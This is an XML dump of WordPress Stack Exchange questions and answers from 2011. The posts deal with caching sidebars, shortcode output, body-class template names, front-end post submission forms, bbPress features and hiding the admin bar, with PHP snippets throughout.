  <row Id="10772" PostTypeId="1" AcceptedAnswerId="14195" CreationDate="2011-02-28T22:47:50.507" Score="1" ViewCount="326" Body="&lt;p&gt;At the moment I run PHP code in my side bars.  Even though I have the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header(&quot;Pragma: no-cache&quot;);&#xA;header(&quot;cache-Control: no-cache, must-revalidate&quot;); // HTTP/1.1&#xA;header(&quot;Expires: Mon, 26 Jul 1997 05:00:00 GMT&quot;); // Date in the past&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It still appears to serve cached content.&lt;/p&gt;&#xA;" OwnerUserId="2966" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-25T01:50:10.663" LastActivityDate="2011-04-25T01:50:10.663" Title="How do I get W3 Total Cache not to cache sidebars?" Tags="&lt;plugin-w3-total-cache&gt;" AnswerCount="3" />
  <row Id="10773" PostTypeId="2" ParentId="10703" CreationDate="2011-02-28T22:51:43.933" Score="0" ViewCount="" Body="&lt;p&gt;Once you retrieved your categories, let's say in &lt;code&gt;$categories&lt;/code&gt;, you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;foreach ($categories as $catgory) {&#xA;    ?&amp;gt;&#xA;    &amp;lt;form id=&quot;cat-button-form-&amp;lt;?php echo $category-&amp;gt;ID; ?&amp;gt;&quot; action=&quot;&amp;lt;?php echo $url_to_step_2; ?&amp;gt;&quot; method=&quot;POST&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;mycat&quot; value=&quot;&amp;lt;?php echo $category-&amp;gt;ID; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;getcat&quot; id=&quot;getcat_&amp;lt;?php echo $category-&amp;gt;ID; ?&amp;gt;&quot; class=&quot;btn_catstep&quot; value=&quot;&amp;lt;?php printf(__('Select %s &amp;amp;amp; Continue'), $category-&amp;gt;name); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In step 2 you then read &lt;code&gt;$_POST['mycat']&lt;/code&gt; and go from there.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-03-01T19:41:44.050" LastActivityDate="2011-03-01T19:41:44.050" CommentCount="5" />
  <row Id="10774" PostTypeId="2" ParentId="10674" CreationDate="2011-02-28T23:02:28.587" Score="1" ViewCount="" Body="&lt;p&gt;Have you tried using the checkboxes / add Pages / add Categories rather than custom links when adding items to the menu? It's sorta the opposite problem, but I've run into issues where WP does not recognize custom links as &quot;this page&quot; - maybe the fix is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** EDIT **&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just ran across this thread in the WP forums which might help with your issue. Read comments from this point on down for a few suggested workarounds.  &lt;a href=&quot;http://wordpress.org/support/topic/custom-post-type-parent#post-1775314&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/custom-post-type-parent#post-1775314&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditorDisplayName="" LastEditDate="2011-03-09T22:40:17.237" LastActivityDate="2011-03-09T22:40:17.237" CommentCount="2" />
  <row Id="10775" PostTypeId="2" ParentId="10772" CreationDate="2011-02-28T23:05:04.287" Score="0" ViewCount="" Body="&lt;p&gt;You'll probably need to find a solution that loads this content via JavaScript...unfortunately.  That's the only way around this issue that I've found.  I've solved it by building a container and a separate (non-cached) PHP file that gets whatever content you'd want in the sidebar.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then...use jQuery's &quot;.load&quot; to pull the PHP content into that container on the cached page.  Works well for me here: &lt;a href=&quot;http://www.missouladowntown.com&quot; rel=&quot;nofollow&quot;&gt;http://www.missouladowntown.com&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="3111" LastActivityDate="2011-02-28T23:05:04.287" />
  <row Id="10778" PostTypeId="2" ParentId="10519" CreationDate="2011-03-01T00:03:06.837" Score="2" ViewCount="" Body="&lt;p&gt;bbPress has never included the number of times a topic was viewed in the core project, and as such the plugin currently does not either. The primary reason is this causes an extra hit to the DB to bump the value of topic views +1 on each page-load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is something that could be built as plugin, or if enough requests come through the forums for this to be in the core project, it may make its way in eventually.&lt;/p&gt;&#xA;" OwnerUserId="3588" LastActivityDate="2011-03-01T00:03:06.837" />
  <row Id="10779" PostTypeId="2" ParentId="10580" CreationDate="2011-03-01T00:06:25.710" Score="2" ViewCount="" Body="&lt;p&gt;scribu is correct. The code to do this does exist within the plugin, but that code is subject to change as the bbPress plugin continues to be developed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're comfortable snooping through code and finding the functions to make this happen, we're happy to fix any bugs you might find along the way. You may also have more luck asking your question at the bbPress.org support forums, as there are a few people there currently testing the bbPress plugin and keeping up with its daily developments.&lt;/p&gt;&#xA;" OwnerUserId="3588" LastActivityDate="2011-03-01T00:06:25.710" />
  <row Id="10780" PostTypeId="2" ParentId="10583" CreationDate="2011-03-01T00:11:39.997" Score="1" ViewCount="" Body="&lt;p&gt;@janoChen - The exact same method can be used to get bbPress forums/topics/replies, as well as there being a few built in functions that act as wrapper functions for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can reply back with exactly what kind of information you're trying to get, I can show you how to build the query. (I.E. you want the 14 most recent public topics, you want the most recent 25 replies by user_id 7, etc...)&lt;/p&gt;&#xA;" OwnerUserId="3588" LastActivityDate="2011-03-01T00:11:39.997" CommentCount="1" />
  <row Id="10781" PostTypeId="2" ParentId="10677" CreationDate="2011-03-01T00:26:30.420" Score="0" ViewCount="" Body="&lt;p&gt;I tried looking in wordpresses post-template.php file where the body class is located and found the function that generates the class I want to be added when Im also on subpages or posts and copied it into my functions.php...then I added the &lt;code&gt;is_single()&lt;/code&gt; and &lt;code&gt;is_page()&lt;/code&gt; and that seemed to at least partly work however I cant get it to grab the template ID correctly yet like it does on its own when visiting a parent page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('body_class','body_class_slugs');&#xA;function body_class_slugs($classes) {&#xA;    global $wp_query, $wpdb;&#xA;&#xA;    if (is_single() || is_page() || is_page_template()) {&#xA;            $classes[] = 'page-template';&#xA;            $classes[] = 'page-template-' . sanitize_html_class( str_replace( '.', '-', get_post_meta( $page_id,            '_wp_page_template', true ) ), '' );&#xA;    }&#xA;    return $classes;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what's outputed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;single single-post postid-852 single-format-standard page-template page-template-&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice &lt;strong&gt;page-template-&lt;/strong&gt;, thats the class I need but with the rest of the template name...so it would be page-template-NAME-php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My goal is to basically always have the parent template name class present in the body tag when visiting ANY page, ie. Pages, Subpages, Posts, etc...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I managed to get &lt;a href=&quot;http://wordpress.stackexchange.com/users/1468/t31os&quot;&gt;t31os's&lt;/a&gt; code working even though Im not sure I even did it right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I placed his filter in my functions.php first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'template_include', 'var_template_include', 1000 );&#xA;function var_template_include( $t ){&#xA;    $GLOBALS['current_theme_template'] = basename($t);&#xA;    return $t;&#xA;}&#xA;&#xA;function get_current_template( $echo = false ) {&#xA;    if( !isset( $GLOBALS['current_theme_template'] ) )&#xA;        return false;&#xA;    if( $echo )&#xA;        echo $GLOBALS['current_theme_template'];&#xA;    else&#xA;        return $GLOBALS['current_theme_template'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I added my last bit of code that I barrowed from wordpresses core &lt;code&gt;post-template.php&lt;/code&gt; file &amp;amp; added &lt;code&gt;$classes[] = 'page-template-' . get_current_template();&lt;/code&gt; as he recommended like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('body_class','body_class_slugs');&#xA;function body_class_slugs($classes) {&#xA;    global $wp_query, $wpdb;&#xA;&#xA;    if (is_page_template() || is_page() || is_single()) {&#xA;            $classes[] = 'page-template-' . sanitize_html_class( str_replace( '.', '-', get_current_template() ) );&#xA;    }&#xA;    return $classes;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll also notice I didnt want it to read - &lt;strong&gt;page-template-name.php&lt;/strong&gt; so I added the &lt;code&gt;sanitize_html_class( str_replace( '.', '-', get_current_template() ))&lt;/code&gt; to remove the period. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one step closer, but &lt;strong&gt;unfortunately it still doesn't retrieve the parent template name in that way when visiting single posts or subpages&lt;/strong&gt;, it only grabs the current template in use. This is also not very useful on single post pages since it renders: &lt;code&gt;page-template-single-php&lt;/code&gt; instead of the actual single template being used since I have several different ones.....hence why retrieving the parent template name to be displayed on all associated pages would be the most useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any additional help is super appreciated!!! -- Its almost working!!!&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="3567" LastEditorUserId="3567" LastEditorDisplayName="" LastEditDate="2011-03-05T00:41:09.197" LastActivityDate="2011-03-05T00:41:09.197" CommentCount="5" />
  <row Id="10783" PostTypeId="1" AcceptedAnswerId="10789" CreationDate="2011-03-01T01:29:37.993" Score="0" ViewCount="149" Body="&lt;p&gt;I've created my own shortcode. I'm unable to share the code unfortunately ;/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use it on my pages it behaves strange. It always has the highest priority. I mean something like that in page editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Text&#xA;[shortcode]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs on the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt; shortcode contents &amp;gt; &#xA;Text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this in page editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[shortcode]&#xA;Text&#xA;[shortcode]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt; shortcode contents &amp;gt;&#xA;&amp;lt; shortcode contents &amp;gt;&#xA;Text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I'm unable to put anything before and between my shortcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To say more, my shortcodes use a few ifs, foreachs and a loop (they're grabbing and displaying data from custom post type).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why it happnes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OK, so I've been using echoes instead of return. My bad.&#xA;Is there any way of return my whole function without editing every single line and adding $output etc.?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-03-01T14:10:46.953" LastActivityDate="2011-03-01T14:10:46.953" Title="Shortcode leaves no space for other elements?" Tags="&lt;custom-post-types&gt;&lt;loop&gt;&lt;shortcode&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="10786" PostTypeId="2" ParentId="10699" CreationDate="2011-03-01T03:55:40.513" Score="0" ViewCount="" Body="&lt;p&gt;Maybe you could refer to the theme YesShowcase &lt;a href=&quot;http://yesshowcase.yeswordpress.com&quot; rel=&quot;nofollow&quot;&gt;http://yesshowcase.yeswordpress.com&lt;/a&gt;, which provides Global Content&lt;/p&gt;&#xA;" LastActivityDate="2011-03-01T03:55:40.513" />
  <row Id="10788" PostTypeId="1" AcceptedAnswerId="10790" CreationDate="2011-03-01T04:54:33.243" Score="1" ViewCount="221" Body="&lt;p&gt;I have a blog which relies heavily on user generated content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like my users to be able to create posts, but the posts must only have specific fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;title&lt;/li&gt;&#xA;&lt;li&gt;content&lt;/li&gt;&#xA;&lt;li&gt;an attached image&lt;/li&gt;&#xA;&lt;li&gt;two metadata fields (latitude, longitude from Google Maps)&lt;/li&gt;&#xA;&lt;li&gt;tags (only pre-existing tags)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is it better to: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) give users access to the Edit Post screen and style it differently (Is this possible?)&#xA;or&#xA;b) develop a custom page/ form to submit the post? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I have opted for the second option (code below), but I am unsure of whether I am going about it the right way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_POST['photo-title']) &amp;amp;&amp;amp; !empty($_FILES) ) { &#xA;&#xA;    // The user submitted the form.&#xA;&#xA;    // Create the post object.&#xA;    $post = array(&#xA;&#xA;         // Forget the lack of validation for now ;)&#xA;&#xA;         'post_title' =&amp;gt; $_POST['photo-title'],&#xA;         'post_content' =&amp;gt; $_POST['photo-description'],&#xA;         'post_status' =&amp;gt; 'publish',&#xA;         'post_type' =&amp;gt; 'post',&#xA;         'post_author' =&amp;gt; $user_ID,&#xA;         'post_category' =&amp;gt; array(5)&#xA;      );&#xA;&#xA;    // Insert the post into the database.&#xA;    $post_id = wp_insert_post( $post );&#xA;&#xA;    // If the post was successful&#xA;    if ($post_id) {&#xA;&#xA;        // Add metadata for the photo&#xA;        add_post_meta($post_id, 'ob_latitude', $_POST['latitude']);&#xA;        add_post_meta($post_id, 'ob_longitude', $_POST['longitude']);&#xA;    }&#xA;&#xA;&#xA;    // Handle the photo upload.&#xA;    $attach_id = media_handle_upload('photo', $post_id );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3525" LastActivityDate="2011-03-10T17:30:01.973" Title="Edit Post VS Custom Form" Tags="&lt;posts&gt;&lt;user-access&gt;" AnswerCount="1" />
  <row Id="10789" PostTypeId="2" ParentId="10783" CreationDate="2011-03-01T05:01:20.150" Score="2" ViewCount="" Body="&lt;p&gt;I think your problem is that your shortcode echos it's output rather than returning it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your shortcode function, remove any direct output (that is stuff between &lt;code&gt;?&amp;gt;.....&amp;lt;?php&lt;/code&gt; and any &lt;code&gt;echo&lt;/code&gt;s and rather gather your output in a variable  and return that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_shortcode_cb($atts) {&#xA;    ....&#xA;    $output = ....&#xA;    $output .= ....&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More detail:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while ($a != $b) {&#xA;    echo &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;    if ($c == $d) {&#xA;        foreach ($e as $k =&amp;gt; $v) {&#xA;            ?&amp;gt;&#xA;            &amp;lt;li class=&quot;item-&amp;lt;?php echo $k; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $v; ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php&#xA;        }&#xA;    }&#xA;    echo &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output = '';&#xA;while ($a != $b) {&#xA;    $output .= &quot;&amp;lt;ul&amp;gt;&quot;&#xA;    if ($c == $d) {&#xA;        foreach ($e as $k =&amp;gt; $v) {&#xA;            $output .= &quot;&amp;lt;li class=\&quot;item-&quot;.$k.&quot;\&quot;&amp;gt;&quot;.$v.&quot;&amp;lt;/li&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;    $output .= &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;}&#xA;return $output;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, if you wanna be cheap ;-), you can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;while ($a != $b) {&#xA;    echo &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;    if ($c == $d) {&#xA;        foreach ($e as $k =&amp;gt; $v) {&#xA;            ?&amp;gt;&#xA;            &amp;lt;li class=&quot;item-&amp;lt;?php echo $k; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $v; ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php&#xA;        }&#xA;    }&#xA;    echo &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;}&#xA;return ob_get_clean();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BTW: If your shortcode callback is really really long, then chances are that it's got lots of potential for refactoring. And if you'd do that, chances are that you'd assemble your output from strings returned by function calls, anyways.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-03-01T12:01:34.717" LastActivityDate="2011-03-01T12:01:34.717" CommentCount="11" />
  <row Id="10790" PostTypeId="2" ParentId="10788" CreationDate="2011-03-01T05:09:28.007" Score="4" ViewCount="" Body="&lt;p&gt;You are way on the safer and less effort involved side if having them access the admin interface is an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case you could implement a custom post type for your needs, disable most of the 'support' flags when registering it, and add your own metabox to support latitude and longitude, as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With some extra plugins (like Members or any other one that's capable of editing roles and capabilities) you can even assign permissions to only edit that post type to these users that should be able to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All this is pretty well documented on the Codex and relatively easy to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go for the front-end form option, you're basically left with digging through the code and trying to re-implement it on the front-end, which isn't such a bad thing for your learning experience, but it will take you way longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Developing post form on the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First up, i'd still recommend creating a separate custom post-type. It allows you to more easily separate your user input from the rest of your content and above mentioned flexibility in assigning specific capabilities.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Where to find things&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What i'd do to get started is have a good look at the following files, make sure you understand what's going on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;wp-admin/post.php&lt;/code&gt; - particularly the part that processes the actions&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;wp-admin/includes/post.php&lt;/code&gt; - particularly &lt;code&gt;edit_post()&lt;/code&gt; and &lt;code&gt;wp_write_post()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;wp-admin/edit-form-advanced.php&lt;/code&gt; - good to understand the relation between UI and the actions it triggers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since you want to allow uploads as well, you'll also need to learn about the media side of things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;wp-admin/includes/media.php&lt;/code&gt; - particularly &lt;code&gt;media_handle_upload()&lt;/code&gt;, &lt;code&gt;media_upload_form_handler()&lt;/code&gt; and &lt;code&gt;media_upload_form()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;wp-admin/includes/file.php&lt;/code&gt; - make sure you understand &lt;code&gt;wp_handle_upload()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;wp-admin/includes/image.php&lt;/code&gt; - at least good to have a look to know what happens to your attachments on upload, and you'll have to include this, of course&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;How to go about it&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Your best starting point is making a copy of &lt;code&gt;wp-admin/post.php&lt;/code&gt; and stripping everything but what you need to save the post. Try to get rid of as many unnecessary dependencies as you can, but keep the function calls involved in saving the post.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Remember that the more you keep using core WP functions and the more high-level they are, the more you'll stay compatible across different versions and the more sanity checks you get for free.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then have a look at &lt;code&gt;wp-admin/edit-form-advanced.php&lt;/code&gt; and it's dependencies with the aim of determining what you may need for your UI and how you can provide that while using as much WP code as possible. At the same time have a look at the &lt;code&gt;comment_form()&lt;/code&gt; function for inspiration on front-end form implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A part of all that will be understanding the nonce-mechanism (which isn't that complex, really).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure your post stuff works first...that is that your user can create and possibly edit/delete their posts and that you get all the data stored properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add your meta data UI and store that, too. When doing so, try to use hooks. For instance, if you use WP functions to store the posts to the db, the &lt;code&gt;save_post&lt;/code&gt; hook will be run. Use it to store your meta data. This is because the more you do this kind of stuff the easier it will be to accommodate changes in WP down the track or even change the way you do things, your self. Using hooks implicitly modularizes your functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all that works, implement the upload form and the upload processing script. The media functions take a little to really get a hang of, i find. This is due to a lot of them being entangled in the AJAX driven admin side Media Thickbox. However, once you figured how to split the crop from the crap, you'll only need to make a few calls to get your media uploads running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the function Bainternet provided in his answer to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10732/exposing-attachment-uploading-to-the-front-end-delicate&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, make sure you provide good user feedback for each and every operation. Naturally, this is way more important on the front-end than on the admin side, so make sure you let your users know what's going on. Again, try to understand how WP handles that itself (it uses two different mechanisms to get messages across from one page to the next).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Form Example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Finally, &lt;a href=&quot;https://gist.github.com/848960&quot; rel=&quot;nofollow&quot;&gt;here's an example of a post and upload form&lt;/a&gt; i wrote for a Photo Contest plugin i'm gonna release sometime soon, hopefully. The plugin doesn't use regular attachments, though, but creates it's own attachment-like post-type for them, so this is a bit more involved than your case. And it also uses the cookie based commenter identification mechanisms as it's eventually open for users who aren't log in. All this you probably won't need, however, it may be good to look at for inspiration, anyways (except that you'd want to re-use &lt;code&gt;media_upload_form()&lt;/code&gt;, probably).&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-03-01T10:52:26.773" LastActivityDate="2011-03-01T10:52:26.773" CommentCount="2" />
  <row Id="10791" PostTypeId="2" ParentId="10391" CreationDate="2011-03-01T05:28:42.387" Score="1" ViewCount="" Body="&lt;p&gt;Did you add &lt;code&gt;'has_archive =&amp;gt; 'my_slug'&lt;/code&gt; to your &lt;code&gt;register_post_type()&lt;/code&gt; arguments?&#xA;That should at least help you with your second problem.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-01T05:28:42.387" />
  <row Id="10792" PostTypeId="1" AcceptedAnswerId="10800" CreationDate="2011-03-01T05:42:59.647" Score="0" ViewCount="106" Body="&lt;p&gt;We're creating a site to showcase a series of archival recordings covering a wide variety of topics. We'd like to have a page in the main navigation (e.g. recordings) to display these by title, w/a browse by category option, and have heard the best way to do this is w/custom post types. We're able to start this setup by editing the functions.php page, as well as using the 'custom post UI' plugin, but do not understand how to actually show the custom posts, either in a list style on the recordings page, or otherwise.  What is the next step?  Any and all help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;don&lt;/p&gt;&#xA;" OwnerUserId="2815" LastActivityDate="2011-03-31T10:38:48.600" Title="How to show custom posts" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="2" />
  <row Id="10793" PostTypeId="1" AcceptedAnswerId="12069" CreationDate="2011-03-01T05:48:22.220" Score="1" ViewCount="118" Body="&lt;p&gt;I am having some trouble with scheduling posts to automatically expire (either by deleting or going to draft), every plugin I have tried does nothing and when it reaches the scheduled time nothing happens, which is making me think its probably some simple thing I keep overlooking.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I might be a problem with wp-cron, but I don’t seem to have any trouble setting up a publish date in the future through wordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the latest version of Wordpress running, with multi-sites set-up. All plugins were at the latest version available at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas?? I am running out of things to try...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tafts&lt;/p&gt;&#xA;" OwnerUserId="3181" LastEditorUserId="3181" LastEditorDisplayName="" LastEditDate="2011-03-02T00:57:45.973" LastActivityDate="2011-03-15T01:08:07.663" Title="Posts wont expire" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;3.1&gt;&lt;wp-cron&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="10794" PostTypeId="2" ParentId="10236" CreationDate="2011-03-01T06:11:54.957" Score="4" ViewCount="" Body="&lt;p&gt;This would hide the Admin Bar for all users except Administrators. Add at end of &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_function_admin_bar($content) {&#xA;    return ( current_user_can(&quot;administrator&quot;) ) ? $content : false;&#xA;}&#xA;add_filter( 'show_admin_bar' , 'my_function_admin_bar');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-01T22:11:27.397" LastActivityDate="2011-03-01T22:11:27.397" />
  <row Id="10795" PostTypeId="2" ParentId="10691" CreationDate="2011-03-01T06:52:01.333" Score="0" ViewCount="" Body="&lt;p&gt;Att first see in the code of the plugin for deactivation-hook or function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/delete_option&quot; rel=&quot;nofollow&quot;&gt;delete_option()&lt;/a&gt; or ask the author of the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function delete_option is a hint for a solution to delete the data; but i think, it is not so normaly, that the plugin delete the shortcode inside the content. If you deactivate the plugin, than is the shortcode only text inside your content and you must search/replace this shortcode with an new string or empty. You can do this with a &lt;a href=&quot;http://wordpress.org/extend/plugins/search-and-replace/&quot; rel=&quot;nofollow&quot;&gt;Plugin Search &amp;amp; Replace&lt;/a&gt; or via the database tool, like &lt;a href=&quot;http://www.phpmyadmin.net/&quot; rel=&quot;nofollow&quot;&gt;phpMyAdmin&lt;/a&gt; or &lt;a href=&quot;http://wordpress.org/extend/plugins/adminer/&quot; rel=&quot;nofollow&quot;&gt;Adminer&lt;/a&gt;.&#xA;Also you can write custom function for replace the shortcode with your own requirements or a empty string for dont see the shortcode in frontend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your requirement to use custom code inside content i use the plugin &lt;a href=&quot;http://wpplugins.com/plugin/281/snippets/&quot; rel=&quot;nofollow&quot;&gt;Snippet&lt;/a&gt;, this use Custom Post Type and it is easier to change data. But you habe the same problem, when you will replace the shortcode.&lt;/p&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2011-08-01T17:15:56.873" LastActivityDate="2011-08-01T17:15:56.873" CommentCount="4" />
